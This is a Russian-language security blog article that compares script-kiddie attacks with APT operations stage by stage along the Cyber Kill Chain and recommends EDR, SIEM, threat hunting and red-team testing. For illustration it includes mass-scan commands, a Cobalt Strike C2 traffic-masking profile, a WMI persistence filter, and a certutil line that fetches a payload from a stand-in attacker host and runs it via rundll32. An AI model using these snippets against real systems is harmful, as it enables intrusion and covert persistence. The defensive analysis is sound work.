

Скрипт-кидди против АPT: Анатомия взлома по Cyber Kill Chain и архитектура противодействия

 redsec.by/article/skript-kiddi-protiv-apt-anatomiya-vzloma-po-cyber-kill-chain-i-arhitektura-protivodejstviya

Red Teams | 4 мая 2026



Большинство компаний честно выполняют «минимальные требования» по информационной безопасности: внедряют сертифицированный антивирус, настраивают межсетевой экран на периметре, утверждают формальные политики и проходят процедуры аттестации (в том числе по линиям ОАЦ и других регуляторов). На этом фоне в кабинетах топ-менеджмента звучит опасный миф: «Раз у нас всё это есть — мы надежно защищены от хакеров». На практике эти базовые меры создают лишь иллюзию безопасности. Они работают как жесткий фильтр против скрипт-кидди, но абсолютно слепы, когда в корпоративной сети начинает действовать Advanced Persistent Threat (APT) по отлаженной методологии Cyber Kill Chain и матрице MITRE ATT&CK.

Два полюса киберпреступности

Кино против суровой реальности

Массовая культура сформировала искаженный образ взломщика — одиночки в худи, который за две минуты, яростно стуча по клавиатуре, обходит фаерволы Пентагона. Практика реагирования на инциденты (Incident Response) показывает совершенно

иную картину. Вектор угроз четко разделен на два лагеря: высокошумные, хаотичные атаки низкоквалифицированных злоумышленников с использованием готовых эксплойтов, и многоступенчатые, глубоко эшелонированные операции АPT-группировок, способные оставаться незамеченными в инфраструктуре жертвы месяцами.

Кто такой скрипт-кидди (Script Kiddie)

Скрипт-кидди — это сленговый термин, обозначающий малоопытных злоумышленников. Их главная отличительная черта заключается в эксплуатации чужих скриптов, утилит и уязвимостей без фундаментального понимания архитектуры ОС, сетей и принципов работы самого эксплойта «под капотом».



- **Профиль и опыт:** Начинающие энтузиасты, не обладающие системными знаниями в области программирования или реверс-инжиниринга.
- **Мотивация:** Самоутверждение, вандализм, быстрый, но мелкий заработок (продажа скомпрометированных доступов RDP/VPN в даркнете, запуск примитивного ransomware).
- **Инструментарий:** Публичные модули Metasploit, готовые Proof-of-Concept (PoC) с GitHub, дешевые крипторы, купленные на теневых форумах, конструкторы малвари и массовые фишинговые шаблоны.
- **Вектор атаки:** Ковровая бомбардировка. Массовое сканирование подсетей в поисках любой открытой двери («ломаю всё, до чего дотянусь»).

Ошибка: Игнорировать скрипт-кидди полностью. Несмотря на их низкую квалификацию, именно они чаще всего становятся причиной массовых заражений шифровальщиками-вымогателями в компаниях, где забывают устанавливать

критические патчи на внешние шлюзы (например, уязвимости в FortiOS, MS Exchange, Citrix).

Кто такие APT (Advanced Persistent Threat)

Advanced Persistent Threat — это не хакер-одиночка, а высокоорганизованная структура, функционирующая по принципам IT-корпорации или спецслужбы. Внутри группы существует жесткое разделение ролей: разработчики кастомного вредоносного ПО (malware developers), аналитики инфраструктуры, специалисты по обходу СЗИ, операторы инфраструктуры (C2-серверов) и мастера социальной инженерии.



- **Advanced (Продвинутость):** Применение сложнейших техник — уязвимостей нулевого дня (0-day) и глубоко модифицированных 1-day эксплойтов. Использование атак на цепочки поставок (Supply Chain), кража и применение легитимных цифровых сертификатов для подписи ВПО, использование техник Living off the Land (LotL).
- **Persistent (Устойчивость):** Способность поддерживать скрытое присутствие в скомпрометированной сети неделями, месяцами и даже годами (высокий показатель Dwell Time). Создание множественных, дублирующих друг друга точек закрепления и скрытых каналов управления (C2).
- **Threat (Угроза):** Работа по целям стратегического уровня — крупный бизнес, государственные структуры, критически важные объекты информатизации (КВОИ). Цели включают кибершпионаж, кражу интеллектуальной собственности, саботаж инфраструктуры конкурента или многомиллионный целевой выкуп (Ransomware-as-a-Service, Big Game Hunting).

Многие АРТ-группы напрямую или косвенно спонсируются национальными государствами, другие представляют собой вершину эволюции транснациональной

киберпреступности.

Главная разница: Удача против Строгой методологии

Стратегия скрипт-кидди базируется на статистике и удаче: чем шире диапазон сканирования, тем выше вероятность наткнуться на забытый сервер с открытым портом 3389 (RDP) и паролем `admin:admin`. АPT же действуют по строго выверенному плану, опираясь на методологии **Cyber Kill Chain** и фреймворк **MITRE ATT&CK**. Они системно декомпозируют инфраструктуру жертвы на этапы: разведка, подготовка оружия, доставка, эксплуатация, закрепление, управление и выполнение конечных целей.

Архитектура Cyber Kill Chain

Модель Cyber Kill Chain, изначально предложенная корпорацией Lockheed Martin, описывает семь неразрывных фаз целенаправленной кибератаки. Разрушение (разрыв) этой цепи на любом из этапов предотвращает успешное завершение атаки. Модель включает:

1. **Reconnaissance (Разведка)** — сбор информации о цели.
2. **Weaponization (Вооружение)** — создание вредоносного контейнера (payload + эксплойт), нацеленного на уязвимости жертвы.
3. **Delivery (Доставка)** — передача «оружия» в целевую среду.
4. **Exploitation (Эксплуатация)** — запуск вредоносного кода на уязвимой системе.
5. **Installation (Установка)** — инсталляция вредоносного ПО и закрепление (persistence).
6. **Command & Control / C2 (Управление)** — установка канала связи с сервером управления.
7. **Actions on Objectives (Действия по целям)** — эксфильтрация данных, шифрование, саботаж.

Далее мы пошагово разберем эту модель, сопоставляя действия скрипт-кидди и АPT, а также рассмотрим, какие классы средств защиты информации (СЗИ) работают на каждом этапе.

Часть 1. Разведка и подготовка (Reconnaissance & Weaponization)

Скрипт-кидди: «Шум по всему интернету»

На этапе Reconnaissance скрипт-кидди не имеет конкретной цели-компании. Его фокус направлен на поиск любого доступного и уязвимого хоста в глобальной сети. Типичный пайплайн выглядит следующим образом:

```
# Типичная команда массового сканирования (высокий уровень шума)
nmap -Pn -p 3389,445,80,443 --open --script=vuln -T4 10.0.0.0/8
# Использование специализированных утилит для поиска конкретных CVE
masscan -p443 --rate=10000 0.0.0.0/0
```

Для экономии времени часто используются поисковые системы для IoT и открытых портов (Shodan, Censys). Скрипт-кидди фильтрует выдачу по банальным признакам: «отсутствие Network Level Authentication (NLA) на RDP», «непропатченная версия Microsoft Exchange», «уязвимый Fortinet VPN». Найдя цель, злоумышленник переходит к этапу Weaponization: скачивает готовый модуль из Metasploit Framework или берет сырой скрипт с GitHub.

Практика: Попытка скрыть вредоносную нагрузку (obfuscation) у новичков обычно сводится к использованию бесплатных криптографов. Бинарный файл просто сжимается или упаковывается (например, стандартным UPX с измененными заголовками). Результат: структура PE-файла искажается, появляются аномальные секции, энтропия файла взлетает до небес. Современные EDR системы и антивирусы нового поколения (NGAV) детектируют такие артефакты мгновенно по эвристике, даже без знания конкретной сигнатуры.

Видение со стороны SOC: Подобная активность генерирует лавину событий ИБ. Системы обнаружения/предотвращения вторжений (IDS/IPS), WAF и грамотно настроенный межсетевой экран фиксируют всплески TCP SYN-запросов, аномальные HTTP-заголовки и ошибки в логах аутентификации. Скрипт-кидди обнаруживает сам себя еще до успешного проникновения.

APT: Глубокий OSINT и профилирование жертвы

APT-группировки начинают атаку с педантичного OSINT (разведки по открытым источникам) и моделирования цифрового двойника инфраструктуры жертвы. Их цель — понять внутреннюю иерархию и используемый технологический стек.

- **Оргструктура и персонал:** Парсинг LinkedIn, порталов с резюме, профильных форумов. Выявляются ключевые роли: кто администрирует Active Directory (AD), кто отвечает за сетевую инфраструктуру, кто имеет доступ к КВОИ.
- **Технологический стек:** Анализ метаданных в публичных документах (FOCA, ExifTool), парсинг вакансий компании (требования к знанию «нашего NGFW CheckPoint» или «нашей системы SAP»). Мониторинг государственных закупок: какие сертифицированные СЗИ приобретены.
- **Цепочка поставок (Supply Chain):** Выявление IT-аутсорсеров, системных интеграторов, облачных провайдеров. Если основную компанию защитить сложнее, атака будет направлена на менее защищенного подрядчика, имеющего VPN-туннель в инфраструктуру жертвы.

- **Регуляторика:** Анализ нормативной базы, под которую подпадает жертва, для прогнозирования конфигурации средств защиты.

Weaponization: Гаражный сборник против IT-фабрики

Подход к созданию вредоносного инструментария (Weaponization) кардинально различается.

У **скрипт-кидди** это утилитарная сборка мусора: генераторы троянов с подпольных форумов, публичные PoC для известных уязвимостей, массовые фишинговые шаблоны на ломаном русском или английском языках («Ваш счет заблокирован», «Вам пришла повестка»). Тестирование «незаметности» сводится к загрузке файла на VirusTotal. Как только файл попадает на VT, он тут же улетает аналитикам антивирусных вендоров, которые оперативно выпускают сигнатуры.

У **APT** стадия вооружения — это полноценный цикл разработки (SDLC). Пишется модульное, полиморфное ВПО под конкретные версии ОС жертвы. Векторы атаки базируются на 0-day уязвимостях. Для обхода средств контроля целостности и антивирусов применяются украденные цифровые сертификаты (кодовая подпись), что заставляет операционную систему доверять файлу. Инфраструктура C2 разворачивается с использованием доменов-двойников (Typosquatting) и маршрутизируется через легитимные CDN-провайдеры (Cloudflare, AWS CloudFront) для маскировки трафика (Domain Fronting).

```
// Пример фрагмента Malleable C2 профиля (Cobalt Strike) для имитации легитимного tr
http-get {
  set uri "/jquery-3.3.1.min.js";
  client {
    header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;c
    header "Host" "code.jquery.com";
    metadata {
      base64;
      prepend "session=";
      header "Cookie";
    }
  }
  server {
    header "Content-Type" "application/javascript; charset=utf-8";
    output {
      base64;
      print;
    }
  }
}
```

Вывод: АРТ инвестируют огромные ресурсы в то, чтобы их инструментарий не оставлял традиционных индикаторов компрометации (IOC) и органично вписывался в контекст бизнес-процессов компании.

Часть 2. Доставка и проникновение (Delivery & Exploitation)

Скрипт-кидди: Ковровая бомбардировка периметра

Фаза Delivery для неопытного атакующего реализуется по принципу конверсии: если отправить 100 000 фишинговых писем, хотя бы один сотрудник кликнет по ссылке. Письма не имеют персонализации, содержат банальный вредоносный макрос (VBA) или ссылку на фейковую страницу авторизации. Современные почтовые шлюзы (Secure Email Gateways), протоколы SPF/DKIM/DMARC и антиспам-фильтры нейтрализуют 99% таких атак. Если доставка идет через эксплуатацию сервиса на периметре, это выглядит как брутфорс или запуск неадаптированного скрипта на Python, который часто приводит к сбою сервиса (Denial of Service) вместо получения Reverse Shell.

APT: Spear-phishing, Watering Hole и Supply Chain

APT-группировки используют филигранные методы доставки, обходящие классические периметровые средства защиты.

- **Spear-phishing (Целевой фишинг):** Каждое письмо уникально. Текст пишется идеальным корпоративным языком, используются актуальные данные о текущих проектах жертвы. Высший пилотаж — *Thread Hijacking* (вклинивание в существующую переписку). Злоумышленник взламывает почту подрядчика и отвечает в старую, доверенную ветку писем, прикладывая вредоносный документ. Статистика показывает, что spear-phishing составляет менее 0,1% от объема почтового трафика, но обеспечивает более 90% успешных компрометаций начального вектора.
- **Watering Hole (Водопой):** Взламывается легитимный веб-ресурс, который регулярно посещают сотрудники целевой организации (например, профильный государственный портал или отраслевой форум). На ресурс внедряется эксплойт (Exploit Kit). Когда целевой пользователь заходит на сайт, его браузер эксплуатируется в фоновом режиме (Drive-by Download).
- **Supply Chain Attack (Атака на цепочку поставок):** Внедрение троянского кода в репозитории легитимных вендоров. Классический пример — инцидент с SolarWinds Orion. Обновление софта было официально подписано вендором, скачано по зашифрованному каналу и установлено администраторами руками. Классический антивирус бессилен против доверенного процесса.

Рекомендации: Для защиты от современных векторов доставки формальная аттестация по требованиям безопасности недостаточна. Необходим строгий контроль сторонних подключений, сегментация сети (Zero Trust) и системы класса EDR для поведенческого анализа легитимных приложений, которые могут стать контейнерами для вредоносной нагрузки.

Exploitation: Автоматизация против ручной работы

Скрипт-кидди запускает эксплойт вслепую. Если целевая система имеет DEP (Data Execution Prevention) или ASLR (Address Space Layout Randomization), скрипт с вероятностью 99% упадет, оставив дампы памяти и Alert в системе мониторинга. Никаких попыток обойти EDR-хуки (API Unhooking) или использовать техники ROP (Return-Oriented Programming) не предпринимается.

АПТ-операторы действуют хирургически точно. Они адаптируют шеллкод (Shellcode) под конкретное адресное пространство процесса жертвы. Часто используется цепочка уязвимостей (Exploit Chain): например, сначала используется уязвимость в движке браузера (V8) для исполнения кода в песочнице, а затем — локальное повышение привилегий (LPE) в ядре ОС для выхода из Sandbox и закрепления на уровне системы (SYSTEM/root).

Часть 3. Действия внутри сети и закрепление (Installation, C2, Actions on Objectives)

Скрипт-кидди: Громко, быстро и недолго

Если низкоквалифицированный атакующий получает доступ (например, пробросил Meterpreter сессию), начинается стадия хаоса. Не понимая топологии сети, злоумышленник запускает внутреннее сканирование из скомпрометированной подсети. Начинается шквал попыток брутфорса SMB (Pass-the-Hash) по всему пулу IP-адресов. Зачастую это приводит к мгновенной блокировке учетных записей политиками Active Directory из-за превышения попыток неверного ввода пароля. Понимая, что его скоро обнаружат, скрипт-кидди переходит к деструктивным действиям: запуску примитивного шифровальщика на локальной машине или удалению баз данных (часто ради скриншота). Инцидент локализуется SOC или системным администратором за считанные часы.

АПТ: Dwell Time, тихие C2 и Living off the Land (LotL)

Проникнув в сеть, АПТ-группа переходит в режим максимальной скрытности (Stealth mode). Их главная цель — закрепиться и собрать учетные данные администраторов домена, не активируя антивирусные сигнатуры.

Фундаментальная тактика современных APT — **Living off the Land (LotL)**. Это концепция использования исключительно легитимных, встроенных инструментов операционной системы (LOLBins — Living off the Land Binaries) для выполнения вредоносных действий.

- **PowerShell:** Выполнение кода прямо в оперативной памяти (Fileless malware), обход политик ExecutionPolicy, взаимодействие с Windows API без использования компилированных исполняемых файлов (например, через фреймворки типа Covenant или Empire).
- **WMI (Windows Management Instrumentation):** Идеальный инструмент для горизонтального перемещения (Lateral Movement) и скрытого закрепления (Persistence). WMI позволяет запускать процессы удаленно и создавать подписки на события.
- **Утилиты администрирования:** certutil.exe (для скачивания файлов из интернета под видом обновления сертификатов), bitsadmin.exe, rundll32.exe, mshta.exe.

```
# Пример того, как APT может использовать легитимный certutil для скачивания вредонос  
# обходя базовые сетевые экраны (так как процесс доверенный).  
certutil.exe -urlcache -split -f http://evil-apt-c2.com/payload.dll c:\temp\update.c  
rundll32.exe c:\temp\update.dll,EntryPoint
```

По данным отраслевых аналитических отчетов, более 84% критических инцидентов включают использование LotL-техник, а значительная часть атак реализуется вообще без применения исполняемых вредоносных файлов. Защитные механизмы, ориентированные только на поиск "плохих хешей", становятся абсолютно бесполезными.

Многослойное закрепление и C2 Инфраструктура

APT никогда не полагается на один бэкдор. Создается резервная сеть доступов:

- Модификация Group Policy Objects (GPO) для распространения скриптов закрепления по всему домену.
- Создание скрытых WMI Event Subscriptions. Атакующий связывает фильтр событий (например, загрузку ОС) с потребителем события (запуск обфусцированного скрипта командной строки).
- Внедрение вредоносного кода в образы виртуальных машин на гипервизоре (VMware ESXi, Hyper-V).
- Экспорт базы NTDS.dit (база данных Active Directory) для извлечения всех хешей паролей организации и генерации Golden Ticket (полная компрометация домена Kerberos).

```
// Пример структуры WMI Event Filter для закрепления APT-группы:
instance of __EventFilter as $Filter
{
    Name = "SystemUpdateFilter";
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance";
    QueryLanguage = "WQL";
    EventNamespace = "root\\cimv2";
};
```

Каналы Command & Control (C2) маскируются под рутинный бизнес-процесс. Трафик инкапсулируется в зашифрованные HTTPS-сессии, используются DNS-туннели (где команды передаются в TXT-записях субдоменов), внедряется случайный интервал опроса сервера (Jitter), чтобы избежать обнаружения статистическими анализаторами сети.

Часть 4. Базовая защита, ОАЦ и слепые зоны антивируса

Что закрывает «минимум»: антивирус, межсетевой экран и аттестация

Во многих корпорациях, особенно в государственном секторе и на предприятиях с государственным участием, под словосочетанием «ИБ настроена» понимают исключительно compliance-подход (соответствие бумажным требованиям):

- На конечных узлах установлен сертифицированный антивирус.
- На периметре функционирует межсетевой экран (часто без активированных модулей глубокой инспекции пакетов DPI или IPS).
- Выполнены формальные требования регуляторов (например, приказы ОАЦ, Указ №196, серия стандартов СТБ 34.101.30 в Республике Беларусь или аналогичные требования ФСТЭК в РФ).
- Система защиты информации (СЗИ) прошла аттестацию, разработаны политики, инструкции и модель угроз.

Важно признать: нормативная база требует использования сертифицированных СЗИ (антивирусов, межсетевых экранов, средств контроля целостности) не просто так. Эта архитектура прекрасно справляется с задачей фильтрации массового, «шумного» вредоносного трафика. Она эффективно отсекает скрипт-кидди: известные макрос-вирусы блокируются, попытки прямого сканирования портов отбрасываются брандмауэром, а примитивные трояны удаляются сигнатурным анализатором. Но на этом ее полномочия заканчиваются.

Риски: Почему этот минимум почти не мешает APT-группам? Классическая защита ориентирована на файлы, статичные сигнатуры и очевидные сетевые аномалии. Инструментарий Advanced Persistent Threat работает в совершенно иных плоскостях.

- **Кастомное ПО и 1-day эксплойты:** Уникальный бинарный файл, скомпилированный под конкретную атаку, имеет нулевое количество детектов в базах (0/70 на VirusTotal). Сигнатуры под него просто не существует.
- **Атаки Fileless (бесфайловые) и In-Memory:** Вредоносный код выполняется исключительно в оперативной памяти (например, через Reflective DLL Injection), физически не касаясь жесткого диска. Классическому файловому антивирусу нечего проверять.
- **Доверенные каналы:** Атаки на цепочки поставок (Supply Chain) используют легитимные обновления доверенного ПО. Трафик зашифрован, подпись валидна.
- **Скомпрометированные учетные данные:** Если APT-оператор использует украденный пароль администратора и легитимный RDP/VPN, межсетевой экран видит просто авторизованного пользователя, выполняющего свою работу.

Полагаться исключительно на антивирус в эпоху, когда подавляющее большинство целевых атак строится на техниках Living off the Land (LotL) — это сознательно оставлять огромную слепую зону в центре своей инфраструктуры.

Часть 5. EDR, SIEM, Threat Hunting: чем ловят APT

Зачем нужен EDR/XDR, если уже есть «антивирус»

Решения класса EDR (Endpoint Detection and Response) и XDR (Extended Detection and Response) не заменяют классический Endpoint Protection Platform (EPP/антивирус) — они фундаментально меняют парадигму защиты. Если антивирус отвечает на вопрос «Является ли этот файл плохим?», то EDR отвечает на вопрос «Что этот процесс делает прямо сейчас и каков его контекст?».

Три столпа эффективного EDR:

1. **Глубокая телеметрия (Telemetry):** Система перехватывает системные вызовы (API Hooking), читает события ETW (Event Tracing for Windows), записывает запуск процессов (с аргументами командной строки), создание сетевых соединений, изменения в реестре и инъекции в память.
2. **Поведенческий анализ (Behavioral Analysis):** EDR строит граф процессов. Он видит не просто запуск powershell.exe, а цепочку: WINWORD.EXE (Word) -> порождает cmd.exe -> который запускает powershell.exe -ExecutionPolicy Bypass -e <base64_payload> -> который устанавливает сетевое соединение с неизвестным внешним IP.
3. **Реагирование (Response):** Возможность моментально изолировать зараженный хост от корпоративной сети (Network Containment), завершить вредоносное дерево процессов, собрать дампы памяти или откатить изменения реестра.

Современная защита от APT фокусируется не на Индикаторах Компрометации (IOC — хеши, IP-адреса, которые атакующий меняет за секунды), а на Индикаторах Атаки (IOA — Indicators of Attack). IOA описывают намерения и поведение, которые злоумышленнику изменить крайне сложно.

Зачем нужен SIEM и корреляция событий

Несмотря на свою мощь, EDR ограничен контекстом конечной станции (хоста). Ему не хватает глобальной видимости сетевого трафика, логов прокси-серверов, облачных инфраструктур (AWS, Azure) и бизнес-приложений. Эту задачу решает SIEM (Security Information and Event Management) — ядро современной SOC аналитики.

SIEM агрегирует логи со всей инфраструктуры и применяет правила корреляции. Это позволяет выявлять распределенные во времени атаки. Примеры критичных APT-цепочек для SIEM:

- **Сценарий 1:** Неудачные попытки входа VPN -> Успешный вход с гео-локации, нетипичной для пользователя (Impossible Travel) -> Обращение к контроллеру домена (DCSync/DCShadow) -> Создание новой учетной записи.
- **Сценарий 2:** Регулярные всплески исходящего DNS-трафика глубокой ночью (DNS Tunneling) + появление новых задач в Windows Task Scheduler (Scheduled Tasks) на критическом сервере.

```
// Пример KQL-запроса (Microsoft Sentinel) для выявления обфусцированного PowerShell SecurityEvent
| where EventID == 4688 // Process Creation
| where ProcessName =~ "powershell.exe" or ProcessName =~ "pwsh.exe"
| where CommandLine contains "-e " or CommandLine contains "-enc" or CommandLine cor
| extend decoded_command = base64_decode_tostring(extract(@"-[eE][nNcC]*\s+([A-Za-z0
| where decoded_command contains "Net.WebClient" or decoded_command contains "Downlc
| project TimeGenerated, Computer, Account, ProcessName, CommandLine, decoded_commar
| order by TimeGenerated desc
```

Важно: Без настроенной SIEM-системы и актуальных Use Cases (правил выявления), вся телеметрия рассыпается на миллионы серых событий. Аналитик просто не увидит корреляцию между странным логином в AD и последующей эксфильтрацией данных.

Threat Hunting: Анти-APT в ручном режиме

Threat Hunting (Охота за киберугрозами) — это проактивный, гипотетически-ориентированный процесс поиска скрытых угроз, которые обошли

автоматизированные системы (EDR, NGFW, SIEM). В отличие от реагирования на аллерты (Incident Response), хантинг начинается тогда, когда СЗИ "молчат".

Цикл Threat Hunting строится на гипотезах. Например: *«Мы знаем, что группировка APT29 использует WMI для горизонтального перемещения. Давайте проверим логи Event ID 4688 и Sysmon Event ID 1 на предмет запуска wmiexec.exe, который порождает нетипичные дочерние процессы (например, cmd.exe) на контроллерах домена»*.

Успешный Threat Hunting требует глубокого знания TTP (Тактик, Техник, Процедур) из матрицы MITRE ATT&CK, владения языками запросов (KQL, Sigma, Splunk SPL) и, самое главное, богатой и правильно настроенной телеметрии (включение аудита командной строки, логирование PowerShell Module Logging и Script Block Logging).

Часть 6. Red Team против пентеста: кто действительно моделирует APT

Почему классического пентеста недостаточно

Классическое тестирование на проникновение (Penetration Testing) решает важную, но узконаправленную задачу: найти максимальное количество уязвимостей в определенном скоупе (веб-приложение, сегмент корпоративной сети) за строго отведенное время (обычно 1-2 недели). Цель пентеста — предоставить отчет с перечнем CVE и рекомендациями по их устранению.

Пентест отлично выявляет слабые места, которыми могут воспользоваться скрипткидди или массовые шифровальщики (например, забытые SQL-инъекции, старые версии ПО). Однако пентестеры не ставят задачу обойти систему мониторинга. Команда SOC (Blue Team) часто знает о проведении пентеста заранее, а IP-адреса тестируемых иногда добавляются в белые списки (Whitelisting), чтобы "не ломать бизнес-процессы". В реальной APT-атаке таких тепличных условий не бывает.

Специфика Red Team-операций

Упражнения Red Team — это полномасштабная эмуляция реальной, настойчивой APT-угрозы. Задается не технический скоуп (IP-адреса), а бизнес-цель. Например: «Получить доступ к системе SWIFT», «Скомпрометировать исходный код разрабатываемого продукта» или «Получить права администратора домена незаметно».

Критерий	Классический Пентест	Red Teaming (Эмуляция АРТ)
Главная цель	Найти максимум уязвимостей и дыр.	Достичь критической цели (КВОИ), проверив реакцию защитников (Blue Team).
Длительность	Недели (короткий и шумный аудит).	Месяцы (скрытное присутствие, Dwell Time).
Векторы атаки	В основном технические (сеть, веб).	Технические, Социальная инженерия (spear-phishing), Физический доступ, Supply Chain.
Скрытность (OPSEC)	Не в приоритете. Часто работают "в лоб" сканерами уязвимостей (Nessus/OpenVAS).	Максимальный приоритет. Использование LotL, кастомных C2, обход EDR, маскировка трафика.

Операция Red Team тестирует не только технологический стек безопасности, но и процессы реагирования, а также квалификацию аналитиков SOC. По итогам проведения оценки (Purple Teaming) команды защиты и нападения садятся вместе и разбирают на каждом этапе Cyber Kill Chain: где атака была пропущена, какие алерты не сработали и как улучшить детекты.

Часть 7. Что всё это значит для CISO, SOC и джунов

Для CISO и Директоров по информационной безопасности

- **Управление рисками:** Четко разделяйте векторы угроз. Скрипт-кидди наносит тактический урон (выход из строя рядовых машин). АРТ наносит стратегический урон (уничтожение репутации, санкции регуляторов, кража интеллектуальной собственности, саботаж критической инфраструктуры).
- **Комплаенс — это не безопасность:** Аттестация и выполнение требований ОАЦ/ФСТЭК — обязательное, но недостаточное условие. Защита архитектуры должна опираться на актуальную модель угроз MITRE ATT&CK, а не только на формальные стандарты.
- **Инвестиции:** Приоритет бюджетирования для зрелых компаний должен смещаться от закупки новых "коробочных" шлюзов к развитию процессов обнаружения и реагирования (внедрение XDR/SIEM, найм аналитиков Threat Hunting, заказ регулярных Red Team ассессментов).

Для аналитиков SOC и системных администраторов

Вам необходимо перестроить логику мониторинга с поиска «вредоносных файлов» на выявление аномалий в поведении легитимных компонентов системы.

- **Телеметрия:** Убедитесь, что инфраструктура собирает правильные логи. Включите аудит создания процессов (Event ID 4688) с фиксацией аргументов командной строки. Разверните Microsoft Sysmon. Настройте логирование PowerShell (Event ID 4104 Script Block Logging). Без этих данных вы слепы.
- **Автоматизация детектов:** Разработайте Use Cases в SIEM, ориентируясь на популярные техники LotL и TTP атакующих. Не игнорируйте аномальную активность с административными учетными записями, даже если она выглядит легитимно.

Для начинающих специалистов (Juniors ИБ)

Рынок перенасыщен «хакерами», которые умеют только нажимать кнопку "Scan" в Nessus или запускать модуль MS17-010 в Metasploit. Эти навыки устарели. Чтобы стать востребованным инженером (Red/Blue/Purple Team), необходимо:

- Глубоко изучить архитектуру Windows Internals и Active Directory (протоколы аутентификации Kerberos/NTLM, механизм работы GPO).
- Изучить матрицу MITRE ATT&CK: понимать не просто названия уязвимостей, а тактики и техники атакующих на каждом этапе Cyber Kill Chain.
- Научиться работать с телеметрией, понимать, какие артефакты в логах оставляет исполнение скриптов WMI, PowerShell и PowerShell Empire.

Вывод

Наличие сертифицированного антивируса, мощного межсетевого экрана и кипы политик информационной безопасности — это лишь базовый санитарный фильтр, спасающий инфраструктуру от скрипт-кидди и случайных заражений. Однако против целенаправленной APT-атаки, реализуемой квалифицированными группировками с использованием LotL-техник, уязвимостей нулевого дня и обхода сигнатурных средств, эти решения практически бесполезны.

Если ваша организация обладает ценными данными, управляет финансами, технологиями или относится к критически важным объектам информатизации — вы уже находитесь в прицеле APT. Настоящая защита строится на симбиозе глубокой телеметрии (EDR/XDR), централизованной аналитики (SIEM), проактивного поиска угроз (Threat Hunting) и выстроенных процессов реагирования.

Единственный способ узнать, выстоит ли ваша корпоративная сеть против APT, — позволить профессиональной команде Red Team атаковать вас ровно так же,

как это сделала бы настоящая киберпреступная группировка. Если Red Team тихо доходит до ваших КВОИ и контроллеров домена, оставаясь незамеченной мониторингом, — поверьте, для реальных кибершпионов это будет еще проще, только без подробного отчета об уязвимостях и с катастрофическими последствиями для бизнеса.

Часто задаваемые вопросы (FAQ)

1. В чем принципиальное отличие АРТ-атаки от инцидента с участием скрипт-кидди?

Главное отличие кроется в методологии, ресурсах и целях. Скрипт-кидди использует массовые, шумные инструменты (готовые эксплойты) ради быстрого заработка или вандализма, атакуя уязвимости на периметре случайных целей. АРТ-группы (Advanced Persistent Threat) действуют скрытно по модели Cyber Kill Chain, используют кастомное ПО (0-day уязвимости), техники маскировки (Living off the Land) и могут годами находиться в сети жертвы, преследуя стратегические цели (шпионаж, кража интеллектуальной собственности).

2. Поможет ли аттестация СЗИ (например, требования ОАЦ или ФСТЭК) защитить сеть от АРТ?

Выполнение нормативных требований является обязательной базой (комплаенсом), которая отфильтровывает базовые угрозы. Однако сама по себе "бумажная" безопасность и сертифицированные сигнатурные средства (классические файрволы, антивирусы) не способны остановить целевую атаку, так как АРТ обходят их через атаки на цепочки поставок (Supply Chain) или легитимные инструменты ОС. Для защиты от АРТ требуются поведенческий анализ (EDR), SIEM и Threat Hunting.

3. Что такое техники Living off the Land (LotL) и почему их не ловит антивирус?

LotL — это тактика использования встроенных, легитимных утилит операционной системы (PowerShell, WMI, cmd, certutil, mshta) для реализации вредоносных действий (разведка, перемещение, кража данных). Антивирус не блокирует их, так как эти файлы имеют валидные цифровые подписи Microsoft и постоянно используются системными администраторами для рутинных задач.

4. Зачем нужен EDR, если в компании уже установлен корпоративный антивирус (EPP)?

Антивирус (EPP) ориентирован на проверку файлов по сигнатурам и хешам (Индикаторы компрометации — IOC). EDR (Endpoint Detection and Response)

отслеживает поведение процессов в реальном времени (Индикаторы атаки — IOA). EDR может увидеть, что легитимный процесс текстового редактора пытается выполнить инъекцию кода в системный процесс `lsass.exe`, и заблокирует эту аномальную активность, даже если на диске нет ни одного вредоносного файла.

5. Как правильно использовать SIEM-систему для выявления APT?

SIEM необходимо использовать не как архив для хранения логов, а как движок корреляции. Для выявления APT требуется: собирать расширенную телеметрию (Event ID 4688, события Sysmon, DNS-запросы, логи аутентификации AD), писать Use Cases (правила корреляции), учитывающие тактики из базы MITRE ATT&CK, и выявлять цепочки подозрительных событий, растянутые во времени (например, странный вход VPN + повышение привилегий + установка новых служб).

6. В чем разница между классическим пентестом и упражнениями Red Team?

Пентест направлен на инвентаризацию: поиск максимального количества уязвимостей в заданном сегменте за короткое время. Red Team эмулирует целевую кибератаку: команда использует социальную инженерию, обход физической защиты и скрытные TTP для достижения конкретной бизнес-цели (например, кражи базы клиентов). Главная задача Red Team — проверить способность команды SOC (Blue Team) обнаружить инцидент и отреагировать на него.

7. С чего начать внедрение Threat Hunting (охоты за угрозами) в компании?

С настройки качественного сбора данных. Без телеметрии Threat Hunting невозможен. Настройте аудит командной строки Windows, разверните Sysmon, включите логирование PowerShell (Script Block Logging) и направьте все логи в централизованный SIEM. Затем аналитики должны начать формулировать гипотезы на основе отчетов о киберугрозах (Threat Intelligence) и проактивно искать аномалии, не дожидаясь срабатывания автоматических алертов.

8. Какова средняя продолжительность скрытого присутствия (Dwell Time) APT в сети жертвы?

Хотя благодаря внедрению EDR/XDR-систем глобальный показатель Dwell Time (время от первоначального проникновения до обнаружения) в последние годы снизился с нескольких месяцев до 10-16 дней, высококвалифицированные APT-группировки, специализирующиеся на кибершпионаже, до сих пор способны оставаться незамеченными в инфраструктурах крупных корпораций годами, имитируя легитимную административную активность.

